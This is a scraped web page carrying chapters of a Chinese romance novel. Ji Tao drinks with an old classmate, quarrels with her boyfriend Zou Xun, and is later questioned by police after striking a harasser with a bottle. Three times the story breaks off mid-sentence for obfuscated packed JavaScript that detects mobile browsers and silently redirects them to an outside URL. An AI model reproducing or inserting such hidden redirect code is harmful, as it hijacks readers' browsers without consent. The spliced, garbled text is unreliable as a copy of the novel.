“所以才叫你一起嘛。”季桃抓起杯子喝一口,向后一靠,看着高恒。“你怎么还留着我的习题,你以前是不是有点儿喜欢我?”她问。 “是。”高恒回答。 季桃又看了看他。在酒吧昏暗的灯光下,两人对视片刻,高恒挪开眼睛。 “我说真的。”他说。 “我知道。”季桃很平静,“好多人都喜欢过我。” 高恒垂目看着酒杯:“你这样的女孩,好多人会喜欢你,将来还会有很多,永远都会有人喜欢你。”说完,他才把目光重新对着季桃。 “是不是因为我长得漂亮?”季桃好奇地问。 “不是。”高恒坚定地、毫不犹豫地说。 季桃不再追问,叹口气,慢慢喝酒。 附近某个座位上爆出一阵笑,鸡打鸣般,旁边还有个公鸭嗓的想盖过他,笑得声嘶力竭,嘎嘎嘎,嘎嘎嘎。 季桃抬头对高恒说:“高恒,你应该大声笑,你比他们笑得好听。” 高恒失笑:“是吗,这我还不知道,怎么个好听?” “就是男人的笑声。”季桃想了想,补上一句,“震耳朵。” 高恒真的大笑起来,笑得座椅桌子都嗡嗡作响。笑完他对季桃说:“我就是本来不喜欢你,现在也喜欢你了。” 季桃仔细想他的话,琢磨转折的意思。她想:邹巡怎么是本来喜欢我,现在不喜欢了呢? 想了一会儿,头开始疼起来,季桃起身去洗手间。 36. 来劲 等洗手池空出位置,季桃撩几捧水洗了洗脸,前面的头发有点湿,她用纸巾擦擦,对着镜子笑了。刚才为什么对高恒说那些话?她又没见过谁在洗手间哭。其实她没半点儿经验,只是设想自己可能的行为。想错了:她没有哭,眼泪不愿流出来。 出来后,发现高恒在门口不远处等着。 “不用看,我没哭。”季桃对他灿烂一笑。 “我知道。”高恒爽朗地笑,递过被季桃留在桌上的手机,“邹巡刚给你打电话了。” 季桃接过手机的同时,屏幕又亮了。她看了一会儿邹巡的名字。她总是存这两个字,不是老公,不是其它,是邹巡,就像邹巡也总用她的名字,季桃。他们用名字称呼彼此。她特别喜欢“巡”字,说像一只匆匆忙忙的小刺猬,邹巡说是一只赶着去找桃子的刺猬。邹巡,世上她记得最最清楚的两个字。盯着一个字看好久,就会好像不认识了似的。 她接起电话。 太吵了,没听见电话里有声音,好一时,才听见邹巡喊:“季桃,你在哪儿?季桃。我回来了,你去哪儿了?” “我出来玩了。”她说。 太吵了,不知她的声音混在嘈杂的背景中,能不能被他辨识出来。 “你去哪里玩?”邹巡一字一字地喊,听着怪好玩的。 “我听不见你,回去再说。”季桃挂了电话。 “回去吧,我送你回去。”高恒说。 “还没喝完呢。”季桃往座位走。 “别喝了,走吧。已经挺晚了。”高恒看看时间,“我叫个车。” “不用叫,门口应该有车。”季桃转转脚尖,又往门外走,看见一辆出租车就拉开门坐上去。 高恒紧跟上来,坐在前排。 “再去哪儿?”季桃问。 “我送你回家。”高恒说,把地址告诉司机,转头问季桃,“上次那里,没错吧?” “对,我没搬过家。” 手机又响了,还是邹巡。季桃挂断,去看消息,邹巡给她发了三条消息:我到楼下了。你去哪儿了?定位发给我。 她没回消息,也不接电话。电话只要一响起来,她就按成静音,然后,静静看着闪烁的屏幕。 高恒从前排回头:“你还是和邹巡说一声,不然他要担心。” “不会的。他根本不担心。因为有——有钱给他做保证。” “什么?”高恒愣了愣。 “因为每天早上都能看到钱,有了钱谁还担心别的?”季桃的语气像是已经享足了金钱带来的各样好处,她在座椅上舒服地展开胳膊。 “看到钱?”高恒担忧地看看季桃,欲言又止。 “我没醉。”季桃开心地笑,“我和邹巡是特别好的搭档,只要我们两个在一起就会有钱,所以他知道我离不开他,我们谁也离不开谁。” “是不是这儿?”司机问。 “对,就是这儿。”季桃说。高恒急忙下车,季桃也拉开车门,刚站到地上便一个趔趄,高恒扶住她的胳膊。 “我来吧。” 一只手用力拉了一下季桃,把她拽过去。季桃发现自己靠进了一个胸膛中,她深深吸了一口气。 “麻烦高医生了,谢谢。”那个声音在她头顶上方说,说话时,他的胸膛一震一震的。 “没事,没事。她的包。你们快回去吧。再见!” 季桃想要回头,挥个手,按在后背的那只手按住她,按得很紧。 季桃不高兴:“你松开,我怎么走路?” “你还能走路?我松开你就摔倒了。” 等了好一会儿他才松开,季桃一屁股坐在地上。“不走路我怎么回去?我不回去了。” “起来,凉。你拿好包。”邹巡把包递到季桃手里,弯下身说,“来,我背你。” 季桃嘻嘻地笑了,一下跳上他的背。两条胳膊挂在他脖子上。 走了几步,邹巡将她往上颠颠,说:“你别乱动,抱紧我。” “抱不了,谁让你让我拿这么多东西?我不拿了。”季桃把一只手里的包一扔。 “你自己扔的,醒了可别哭。”邹巡一边说,一边还走出了几步,“那只手拿的什么,也扔了。” 季桃举起右手——一本书,不是书,一本册子。她想不出自己为什么要拿着它,但她记得,这个东西不能让邹巡看到。 “不能扔,这是我的东西。”她说。 邹巡返身,捡起包。“挂我脖子上吧。” 季桃嘻嘻笑着,把包挂在他脖子上。她高高兴兴摸摸邹巡的头,表示赞许,然后,又摸了一下,她张开五指,塞进他的发丛中。寸把长的头发,说不出是软是硬,反正是有弹性的,压下去又直起来;好像小草撑开石头,他的头发顶着她的手心,在她指缝间钻来钻去。她使劲张开手,想抓住一把,抓也抓不住,头发执拗地从她手中溜出来。 “头发也这么有劲啊。”季桃格格地笑出声,“怪了,以前怎么没发现,你的头发也像刺猬。还挺好摸。” 邹巡没答话,季桃手又摸到他脸上,去摸他的嘴巴。“笑了吧?我就知道你偷笑。男人嘛,随便哄几句就高兴。” “你还哄过谁?”邹巡问。 季桃不说,左胳膊勒住邹巡脖子,右手握着卷成圆筒的习题册,在他身上胡乱敲打。 “少来劲啊。” “你才少来劲。”季桃变本加厉,在邹巡头上敲,“我不会给你看的,趁早别得意。” 邹巡哼一声:“信不信我给它扔了?” “你敢!” “怎么不敢,连你我都扔了。” “有本事你扔啊。”季桃使劲踢腾腿。 邹巡默默地在手臂上加了力。 “你倒是扔啊。”季桃继续挑衅,“扔了我也不怕。你不喜欢我,还有别人喜欢。你知不知道有好多人都喜欢我?” 邹巡停下,手臂向上提了提:“是,好多人喜欢你,他们活该倒霉。你能不能别动了?” 季桃不动了,脸枕在他肩上,对着他脖子说:“你猜高恒为什么喜欢我?” “不知道。”邹巡不耐烦地说。 “反正他和你不一样,你是因为我漂亮。” “他才是因为你漂亮,信不信?”邹巡恶声恶气。 “他认识我的时候我不漂亮,还没长开呢,又黑又瘦。” 邹巡没吭声。 季桃又轻轻说:“高恒是因为我说他笑声好听。——你知道吗,你可以假装微笑,也可以假装开心,但是你自己真正开心时的那种大笑声,你绝对装不出来。” 邹巡是什么样的笑声?无论怎么用力回忆也想不起,他好久没有大笑过了。 这会儿,他好像话都懒得说了,听不见任何声音。季桃静静思索了好久,一直到上楼梯。楼梯真长,转来转去的。她突然问:“你到底为什么喜欢我?” “不为什么。”邹巡说,语气很淡。 季桃又想了一会儿:“也不知道高恒为什么,可能也不为什么。” 邹巡开门进屋,把她摔在沙发上:“季桃,你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052482|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要太过分了。” 季桃身子歪着,就势慢慢倒下去,从下往上看邹巡:“我想吃椰子。” “好,明天给你买。” “我现在就想吃。” “太晚了,超市关门了。” “不晚,我现在想吃。想吃东西是一个人的自由,喜欢谁也是一个人的自由。邹巡,你不能剥夺我的自由。” “行了,椰子我可以去买。马上就去,行了吧?你先喝点水,在床上躺下。难受吗,想不想吐?等你吐过我再去。” “我不难受,也不想吐,就想躺着。”季桃一点力气不出,由着邹巡把她拉起来,从他手里的杯子喝了两口,摇摇晃晃站起身,走到卧室,扑在床上。 “衣服脱了,擦擦脸。”邹巡拿了热毛巾跟过去,替她脱掉鞋袜。季桃睁着两只明亮的眼睛望着他:“我喝了两杯僵尸,你不是说会变成僵尸吗?” “他让你喝——” “骗人的。”季桃又说,“你骗人。我没变僵尸。我不想吃人脑,我只想吃椰子。”她闭上眼睛,叹口气。 “我给你买。”邹巡拍拍她的脸,拉开被子给她盖好。 他抱回椰子时,被子被季桃蹬开了一半。她的睡姿不怎么漂亮,头发胡乱地披在脸上,怀里还抱着那本书。 他喜欢早上醒来时,看见季桃的眼睛在发丝后张开,目光影影绰绰,看着他。 但他忍不住拨开头发,指尖触触她的睫毛,季桃不耐地皱眉,嘴巴也嘟了嘟,嘴唇鲜艳而柔软。 邹巡又去触另一扇睫毛,目光停了一会儿,转开,一只手轻轻抓住季桃胳膊,另一只手想把那本书——一本中考模拟物理习题集——抽出来。抽不动,季桃紧紧攥着它,把它向身下藏了藏,其实还是露在外面。她眼睛没睁,嘴巴说:“是我中学时喜欢的人,和你没关系,不是你。” 桔黄的台灯下,封皮上几个红色大字格外刺目。“物理”二字还算谦虚,但邹巡头一回看见它们觉得不顺眼。他想着书本变成碎片,一掀按钮,被卷进水涡中的样子。 “季桃,你真的过分了。”他说。 早晨,季桃醒来时,屋子里静悄悄的。胸前有样什么东西硬硬地硌着,她动了动,一张纸轻轻掉在旁边。季桃坐起身,打开对折的白纸,看见邹巡的留言:我去公司了。醒来给我电话。 季桃转头找手机。手机就在床头柜上,连着充电器。电已经充满了,她没拔下来,随便看一眼:十点钟,周六。 季桃拿起刚才硌着自己的那本书,一本习题册,一下子全想起来了。顿时,她感到宿醉的头疼和口渴,抓起手机旁的水杯一气喝干。 昨天邹巡出差回来,她和高恒去喝酒了。 邹巡出差刚回来又去加班?当然是因为她和高恒去喝酒了。 醒来给我电话。带着兴师问罪的口气,是因为有些话不好当面讲吧。 表面看,确实是她理亏,不过,还没理亏到不敢给他打电话的地步。 季桃下床,客厅桌上放着一只去了半边壳的椰子。 她把椰汁倒进碗里喝掉,然后,直接上手将椰肉撕开,放进嘴里嚼。椰肉带着淡淡的奶香,真好吃。 吃完椰子,季桃拿起手机。电话接通,邹巡立即问她难不难受,今天打算做什么。一字不提昨夜的事。 大概不愿和她在电话里吵起来,何况他在公司,说不定旁边有人。当然,是不是在公司不一定,旁边的人是不是同事不一定。 不难受。今天就在家呆着。季桃和他随便说几句,挂了电话。 37. 僵局 六点钟邹巡回来了,手里提着饭。这是季桃在蒋阿姨那儿订的,可能他走到楼下正好碰见,顺带拿上来。 邹巡摆好餐桌,摆了两个人的餐具。当然不好意思不要他吃,反正蒋阿姨给的量挺大,两个人差不多也够了。 一边吃饭,邹巡一边简单说了几句出差的事,依然没有提到昨天晚上。什么意思呀,高抬贵手放她一马还是想酝酿个大的?季桃渐渐恼怒。 论闷不作声的本事,她根本比不过邹巡。 邹巡看她一眼:“你才吃这么点儿?” “不想吃了。” “这不是你爱吃的吗?” “那也架不住天天吃,谁不腻啊。”季桃恹恹地推开碗,面向邹巡,半玩笑半抱怨,“你成天又这么忙,等你哪天带我去吃顿好的,不知要等到什么时候。” 邹巡轻微一愕,旋即笑道:“昨天高医生带你上哪儿吃的?” 果然,还是要拿和高恒喝酒堵她的嘴,他怎么就不懂得,一码归一码。 季桃不让着他,微微一笑:“没去多么好的地方,当然比不过你。——你家人让你相亲了?” “什么?”这回,邹巡真的一愣,脸上的迷惑不像是装的。 季桃并不咬定他是相亲,还是看看他怎么说。 她问:“你出差前,再往前一周,和一个女生在旋转餐厅吃过饭,对吧?” “对,我有天和我嫂子的一个亲戚在那儿吃了饭。”邹巡一口承认,表情很自然,半带惊讶地看她一眼,“——你看见手机记录了?” 嫂子的亲戚?关系有点远吧。 邹巡几乎没提过嫂子,他连哥哥都很少提。但正因如此,才给了季桃想象力肆意发挥的空间。在她想象中,邹巡的嫂子是个白富美,那么,嫂子的亲戚习惯出入高档餐厅,大面儿上好像说得过。 编出这个理由,可以了,不愧是邹巡。 “没看你手机,上回去你们公司,你同事告诉我的。她也去吃饭,亲眼看见了。” “哪个同事?看没看清楚就瞎挑拨?”邹巡拧起眉,语气不大好。 “人家才懒得挑拨,她确实没看清楚,她又不认识你嫂子的亲戚,她还以为那是我。” 邹巡和缓了语气:“是我嫂子的表妹,我得叫姐。她和朋友来这边玩,我嫂子说我有空可以和她见一面,推荐几个玩的地方。我想着不见也不太好,就一起吃了顿饭。” 和嫂子的亲戚见一面,至于跑到旋转餐厅去喝酒?即便是邹巡,现扯的谎也扯不太圆啊。 邹巡继续解释说:“她就住餐厅下面的酒店,她朋友那天不太舒服,她也不想跑远,就直接去楼上吃饭了。” “不仅吃饭,还喝酒了。”季桃说。 “我们吃饭AA。酒是她买的,她说带回去和朋友一起喝,我要开车,一口没喝。我那天晚上还有事,吃完就回公司了。” 朋友不是不舒服吗,还喝酒?简直一戳一个窟窿。 见季桃不吭声,邹巡拿出手机,急躁地点了又点:“我给你看。出差前一周是吧——找到了,十五号,星期三。” 季桃看见了,他有一笔餐厅的消费记录,12949元,紧接着,有笔11800的入账转账。 季桃感到自己的脸腾地涨红了。说不清是因为冤枉了邹巡,是因为他此刻淡定自若、不含嘲讽,却比嘲讽还伤人的眼神,还是因为邹巡嫂子的亲戚圈子里,随便请出一位,都是可以大大方方、毫不在意A一顿昂贵饭菜的女生。恐怕兼而有之。 “还要不要打个电话问问?”邹巡淡淡看着她。 季桃一把拨开手机,明知已经输了,再说下去益发难看,但她还是质问道:“既然都是正当合理行为,怎么没听你说过呀?不对,你说了,你说晚上和人约了吃饭,吃完饭还要加班。你当时怎么不说是和亲戚吃饭,一句话的事情,有那么难吗?” “季桃,你想让我把每一天从早到晚做过的事全部清清楚楚明明白白告诉你,可以。”他的每一个字都如冰块,“你是不是也应该告诉我?你和高医生去喝酒你告诉我了吗?你还喝醉了,我要是昨天不回来你怎么回家,请高医生把你背上楼?你说咱们两个谁过分?” 你。你以为我做得不对,就和你扯平了,这是能扯平的事吗?你怎么不问问我为什么找高恒喝酒?就算你没干虚心事,也是你有话不说、故意制造误会在先! 季桃笑一笑:“对,你有道理,咱们谁也不要告诉谁。我是你什么人呀,你出差哪天回来,跟我连个招呼都不用打。我是你房间里的桌子板凳吗,你把我当人了吗什么都不告诉我?要不然是你忙得很,坐火箭飞来飞去,来不及说——” 话到一半,她就看见邹巡的脸色暗了。季桃知道自己要为还没出口的话后悔,但怒气压不住地腾上来,明知后悔也得说:“再不然就是你准备突然袭击捉奸在床,我哪能让你白忙一场扑个空啊?” 说完,她没看邹巡的表情,迅速扭头走进卧室。 不知这是不是邹巡所谓的“逻辑清晰,没法反驳”,也不知是不是她先离开,邹巡认为她“不想吵”,所以没有追过来。她确实不想吵,当然,也不会有人服软,他们陷入了冰冷的僵局之中。 两个人之间说冷战其实也不太对,他们还说话,每天早上邹巡还送季桃上班,下午还在公司门口接她,接到了还问她想吃什么,有天还去了他们刚在一起时常吃的、季桃特别喜欢的越南菜馆。 季桃抱着椰子,吸着椰汁,对邹巡的笑脸报以微笑。可是,不管多么用力地笑、用力地找话聊,他们的关系也没有回到从前。不知是谁先放弃的,吃饭时,他们不再聊天了。季桃拿出手机来看,有时她偷偷瞄一眼邹巡,邹巡不看手机,也不看她,他就是在吃饭,心不在焉地。 睡觉时,他们也互不打扰,这得益于那张双人床挺大,两人各占一边,中间还能隔出够躺两个人的位置。本来季桃睡着后喜欢滚来滚去,但她发现,假如真想控制,她完全有能力在睡梦中止住自己。 早晨起床时,她偷眼看去:中间那块区域干干净净、平平整整,没被任何人错踏一步。她知道,邹巡也在暗中观察那里,因为有一团平静又紧张的空气悬在上方,仿佛那是两国边境的争议区。 这觉睡得太累,意识睡了,潜意识还得保持警醒。没几天,季桃撑不住了,她问同事方大姐有没有去外地出差的机会。方大姐说暂时没有,以为她是想出去玩,打趣说:“要不元旦的时候多请几天假,让你男朋友带你去马尔代夫嘛。” 季桃笑笑,没说话。有两回下班后,约了同事或朋友一起吃饭逛街,让邹巡别来接她。这借口好像是帮邹巡找的,他立即回话说自己也有事,晚些回去,如释重负一般。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056301|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 季桃无所谓,哪怕邹巡确实到家很晚。那时她已经在床上躺下了,听见他开门、洗澡、走动。没有声音的时候,她能感觉到邹巡站在客厅当中,拿着手机看——连他站立的位置她都一清二楚。他开的是玄关处一盏光线很暗的小灯,灯光在他身后,手机屏幕的光亮映在他脸上。 然后,所有光都熄了,他走进卧室,在黑暗中,凝立在床边。他的头微微低着,视线向下。季桃明白邹巡知道她在装睡,也知道她明白。他不说话,或许在等她先开口? 过一会儿,邹巡在他那边躺下了。 . 现在,季桃的想法又变了:邹巡并非为了钱才勉强维持关系,他不是那样的人。 她和邹巡在一起两年多了,两年多,不算短,已经足以让她把邹巡性格的全部边边角角都熟悉了。 唯独还是看不透邹巡的爱。有时觉得邹巡不爱了,可是爱明明又在。 后来她自己推敲出了原因:凡事还有个惯性呢。两年的情意,它不可能唰一下就消失。 而且,他们不单是两个光溜溜的人,围绕在他们周围还有一大片——姑且称之为生活的方方面面吧,她的一片已经和邹巡的一片紧紧嵌在了一起,要是硬把它们拆开,势必七零八落,要好久才能再拼得起来。 至于爱…… 你不能去找它,去看它,去问它。如果你不看,你可以想,它不在,又或者是,它还在。 薛定谔的爱。季桃想笑,没笑出来。 周末,邹巡又去加班,两个同学问季桃有没有空,约她一起去逛街加泡吧,季桃答应了。 电话里告诉邹巡说:“两个都是女生,我们宿舍的姚蔷和隔壁宿舍的吕心铭,你应该记得吧,你请她们……” “没关系,你去吧。”邹巡打断她,“别喝太多,哪一家,打算到几点?我去接你。” “哪一家还没定,我们去逛逛看才知道,到时我发给你。时间也不一定,估计最晚十一点,不过应该到不了。我们主要是见个面,都不想喝醉,只喝一点儿,说不定自己就回去了,你先加班吧。”季桃絮絮叨叨说完,挂了电话。 毕业半年都没见面,几人不住地互相打量:姚蔷换了发型,吕心铭染了发尾,只有季桃没多大变化。 两个同学都说:“你越来越漂亮了,拥有无需打理的美貌,还想怎样?” 季桃心里想:可能就是失去新意了吧。漂亮又如何,天天看,也就那么回事。 她们都没问邹巡,好像默认是不可能分手的。上学那会儿,宿舍楼里有个习俗,哪个女生新交了男朋友,都得叫上几个关系好的女生,让男朋友请吃饭,意思是群众的火眼金睛“考察”一下。姚蔷和吕心铭就在邹巡请过的人当中。 那时候,邹巡被季桃正式冠以“男朋友”名号不到三天,不等季桃开口他就提出请大家吃饭。吃的是火锅,当着七个女生,邹巡说话不多,大部分是招呼大家吃东西,他自己也不客气,带头猛吃。不知怎么做到的,他同时显出有礼貌和不拘小节,与季桃之间则既不过于黏糊,又有默契。女生们慢慢都丢了含蓄,一边吃一边聊学校里的八卦,一顿饭下来很愉快。邹巡当然是完美地通过了考验。十分,十分,十分…… 那又如何?分数越高,退步的空间越大。 吃完晚饭,季桃、姚蔷和吕心铭决定去蹦迪。 38. 报警 随便进了一家迪吧,时间还早,舞池里没几个人。季桃跳上去,随着音乐舞起来。若有人靠近,她便扭身换个方向。在她的想象中,这是跳给邹巡的,又不是跳给他的。你看不见,你永远看不见。她在心里说。 一曲毕,她把定位发给邹巡,点了酒,喝完,和两个同学再上去跳,三人围成一圈,扭得很开心。 跳一会儿,她们下来再喝第二轮酒。 再一起要起身时,季桃差点没站稳。 真奇怪,她一直以为人都是不知不觉间慢慢醉的,谁知道这回醉感却是突然间像一记重锤袭来。 她的心突突地跳,跳得又重又急。 可能是跳舞的缘故,血流加快,把酒精快速运送到了大脑和心脏。 “你们先去,我去下洗手间。”她对同学说。 一楼洗手间都被占了,要不然很脏,季桃往二楼走。她的步子很稳,在上台阶时,还能自豪地看着前面那个摇摇晃晃的女生。最后几步,那女生动作迅疾了许多,一下冲入卫生间。季桃进去时,从唯一一个关着门的隔断内,传出了呕吐声。 季桃本还担心自己吐不吐得出来,谁知呕吐也有传染性,她接着便吐了。吐完,直起身,冲掉,站了会儿,感觉好多了,不会再吐,季桃出来,打开龙头,撩水漱口洗脸。 身后的门砰一声响,那个女生也出来了,站在季桃旁边。 季桃没理会,拿纸巾擦脸时,随便瞟了一眼。 那女生脸上妆很浓,没有花掉。她对着镜子,脸扭曲着,像是在哭,脸上却没有泪;又像是笑,喉咙里却发出哽咽之声。不过人喝醉了什么怪样子都有,季桃并不惊异,她只是觉得这人似乎有些面熟,但一时也想不起在哪里见过。 女生发觉季桃看她,瞬间,脸平得像一张纸,仿佛从来不会哭或笑,她从镜中瞪了季桃一眼,出去了。 季桃吐过后才刚好受一点儿,看见这个奇怪的女生,心里又感到很不舒服,想尽快回家。 一楼嗡嗡的乐声从楼梯涌上来,震得木梯一颤一抖。季桃停了一会儿,等自己的心跳对上节拍,省得两种急速的鼓点把她的步子搅得七零八乱。 姚蔷和吕心铭从楼梯上来了。“我们也去。”两人指指洗手间,把手里的衣服,还有半瓶酒一并给季桃。“待会儿我喝完。”姚蔷说。 “我在这边等你们,咱们就走吧。”季桃说,找了张桌子坐下。 二楼没几个人,光线很暗,仅有的略明亮的两盏灯照着两张台球桌。台球桌好像是拼图中关键的一块,季桃看出自己来过这儿,是窦意鸣带她来的。 那时窦意鸣要她做女朋友,她没答应,窦意鸣说:“没事没事,交个朋友总行吧?”便隔三岔五约她吃顿饭,郊个游什么的。她觉得窦意鸣人品还不错,又是同校同学,外加还开着漂亮的车——十次里面总有一次,她的虚荣心使她点了头。 一回吃了饭,窦意鸣问她会不会打台球,她说没打过,窦意鸣说:“我带你去,包教会。”就来了这里。当时还是下午,酒吧没营业,窦意鸣径直带她上来二楼。有几个人围在桌旁正玩,看见他们进来,笑嘻嘻地都走了,窦意鸣对那些人瞧也不瞧,一边摆球一边解释说:“都是哥们儿,自己开的,没人上来。没事,玩吧。” 窦意鸣的哥们她一个都叫不出名字,甚至也分不清长相,他们打扮、气质都差不多,唯一能辨出来那个,是袁楚欣的男朋友——前男友了。 于是季桃终于想起来,刚才洗手间那个面熟女生应该是袁楚欣前男友的新女友,上回在窦意鸣的派对上看见过。 不知怎的,她陡然一惊,便听见人说:“这不是季桃吗?来玩了?” 季桃转头,袁楚欣前男友和两三个男的向她走来,那两三人笑着朝外走去,只有袁楚欣前男友停住脚。 “不认识了?我崔喆。”他说。 季桃看着这人,突然发觉楼上好像只剩下他们两个。姚蔷和吕心铭去哪了了?她一下子站起身,抱起所有衣服。 “季桃,别装啊,真不认识了?”崔喆笑了两声,挥挥手,好像是不计较的意思,“我认识就行了,大名鼎鼎的水蜜桃嘛,我们都这么叫你。” 季桃要走,一件长风衣垂落在地,绊了她一下。 “嫂子急什么?”崔喆杵在季桃面前。迷离的光线中,季桃也能清楚地看见他的脸,甚至看见他皮肤上的毛孔——一张令人厌恶、飞扬跋扈的脸。她突然发现,他的眼珠是棕色的,不像人的眼睛,像两颗玻璃珠。他的表情也很奇怪。 “走开。” “怎么不肯认啊?咱们和鸣哥都铁着呢。——你和鸣哥,我知道。当初我们都笑他,为了你,硬是寡了几年。你到底让他尝到滋味没有?——尝了,那我敬你是嫂子。” 刹那间,所有的声音都消失了,耳朵里面只有崔喆得意的笑声。季桃感觉自己浑身轻飘飘的,像晾在绳上的一件薄布衣裳,唯独心脏异常猛烈地跳动着,皮球一样往上蹦,马上要挣破单薄如纸的身体。 得把它按住,不然我就活不了了。季桃想。 她扔掉手里的东西,抓住那只酒瓶。 “没尝到?那他太亏了,我都替他不值。”滚雷般的笑声从各个方向传来。 季桃挥了一下胳膊,咔嚓一声,手上的酒瓶在桌沿磕碎了。笑声戛然止住,原来,刚才是笑声和上了楼下的舞曲,被放大了无数倍。 崔喆站在她面前,忽地向前跨一步。 季桃使力把半截酒瓶朝他头上戳去。 大叫声在低处响起,季桃低头去看,看见崔喆坐在地上,手捂着眼睛,半张脸上满是鲜血。几个人冲进房间。 没有一个人上去扶崔喆。“他妈的我的眼睛。”他继续大声吼叫。 响起慌乱的声音:“快,快,打120。” “要不要报警?”有人问。 “报你妈,先送医院。” “啥打的?” 季桃也去看,断成两截的酒瓶子滚在地上,一截旁边是一滩酒液,另一截——尽管瓶身是棕色的,但依然明显看出,上面沾着血。 “操。”一个人说。 几个人乱了一阵,把崔喆扶下去了,尖叫声穿透地板,从楼下传来。 姚蔷、吕心铭两人冲进来:“怎么了,季桃,你没事吧,季桃?” 季桃摇了摇头。 “刚才有个女的,说你在下面,我们下去找了一圈没找到,我们不知道你还在这儿。怎么回事,刚那个人……” 季桃对姚蔷说:“你能不能帮我看看,去下面看看,那个人有事没,他们是不是去医院了?” 很快,姚蔷回来说:“他们不让我……二楼不让人下去。不过他们应该会去医院,我听有人喊,120和110都打了。怎么办,咱们先等着?” 季桃突然清醒了,从口袋掏出手机,拨了邹巡电话。 “我在半路了,马上过去。玩够了吗,还在刚才那个地方?” 季桃紧紧攥着手机,生怕丢了这个低沉、平稳的声音。她也尽可能平静地说:“你开车呢,好不好路边停一下?” 那面一顿,季桃感觉出邹巡是踩了一脚刹车。世界上所有地方似乎都很安静,听筒里还能听见他的呼吸声。 “好了,我停下了,说吧。” “我打了一个人,把他打伤了,用酒瓶。” 话音还没落,邹巡急切地问:“你受伤没有?那人打你了?打哪儿了?” “没有,他没有打到——他没打我,没碰到我。” “他人呢,他这时候在干什么,有人拦着他没?你旁边有别人吗,你同学呢?” “他……他去医院了。只有我同学在我旁边。” “好,你们三个一定要呆在一起,先找个安全的地方。等我,我马上过去。报警没有?我来报,是不是你发的那个酒吧?” “是,他们已经报警了,我没法去别的地方,我得等着警察来。” “好,没关系,等着警察来。”邹巡用温柔、肯定、抚慰的语调说,“现在你们要小心,别让对方再靠近你们,最好让酒吧工作人员给你们找个地方,他们店里出的事情他们得负责。” 季桃吸一口气:“我打的是袁楚欣那个男朋友,酒吧可能是他开的。我把碎玻璃扎到他脸上了,流了好多血。” “好,我知道了,你别害怕。”邹巡用最温柔和肯定的声音说,“要是怕那些人你们就先去洗手间,没事,你等着我。” “现在这儿没人。但是,一会儿警察要来。” “警察来了就不要紧了,别顶撞警察。” “警察要带我走呢?” “那就跟他们走。但是他们要问你话你先等等,你就说头有点儿晕,得慢慢想。我叫个律师过去,你先把情况告诉律师。” 需要律师?是了,恐怕需要律师。季桃不知心里是安稳些了还是更忐忑。 邹巡说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17063780|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了,没事,最多最多四十五分钟,你就看见我了,一节课的时间。我先挂了,我打个电话就开车过去,很快,马上就到。要是害怕或者有别的事,立即给我打电话,好吗?” “等会儿警察带我去派出所,我不知道会不会让我再打电话。” “没事,我能找到你,哪儿我都找得到。” 和邹巡说完还没有两分钟,警察便来了。两名警察后面跟着个酒吧员工,指季桃说:“她打的。” 一个警察调监控去了,另一个把地上的酒瓶碎片收起来,对季桃说:“你的手机给我。” 警察收了手机,将三人扫一眼:“都动手了?” “她们是我同学,和我一起来的。她们当时在楼下。”季桃急忙解释。 警察并不理会,转身又问那个酒吧员工:“当时现场还有谁?” 没有人。最后,季桃一个被带上警车。 派出所拐一条街就到,大厅亮如白昼,可能本意是要前来报案的民众安心,季桃惊觉刺眼。前台值班的年轻女民警不住瞄她,露出惊讶的表情。 季桃被领到报案登记处,带她回来的警察汇报说:“受伤的已经去医院了,小王还没回话,好像戳到眼睛了。” 被称为“李队”、坐在电脑前的警察这才抬眼瞅了瞅季桃:“女的打架?情侣?” 季桃摇摇头。 “哪个学校的?” “我毕业了。”季桃回答。 “大学毕业?” 季桃点头。 “明天问还是今天问?”两名警察商量。 “先问吧。”李队说,站起身活动活动肩膀,又问季桃,“你有没有和家里说一声?” 季桃摇头。“我男朋友一会儿过来。” “男朋友不算。你父母?” “他们都不在这儿。” 李队不说话了,从抽屉拿出几张纸:“过来这边。” 两名警察把季桃领进一间磨砂玻璃门的小屋,屋门敞着,挡住一张桌子。他们指示季桃在桌对面坐下,两人也坐了,将电脑显示器挪到一边,一份讯问笔录铺在面前。李队说:“我叫李胜,他叫曾凌云,民警,警号在这儿。”他指指制服前胸,“我们问的问题,请你如实回答。”说话时,曾凌云开始在笔录上写字。 李胜接着便问:“姓名?” “季桃。四季的季,桃子的桃。” “曾用名?” 季桃没说话。 “没有就说没有。” “许桃。”季桃说,“言午许。桃子的桃。”许桃,用了十三年的名字陌生得让人怀疑她是不是真的作为“许桃”存在过。 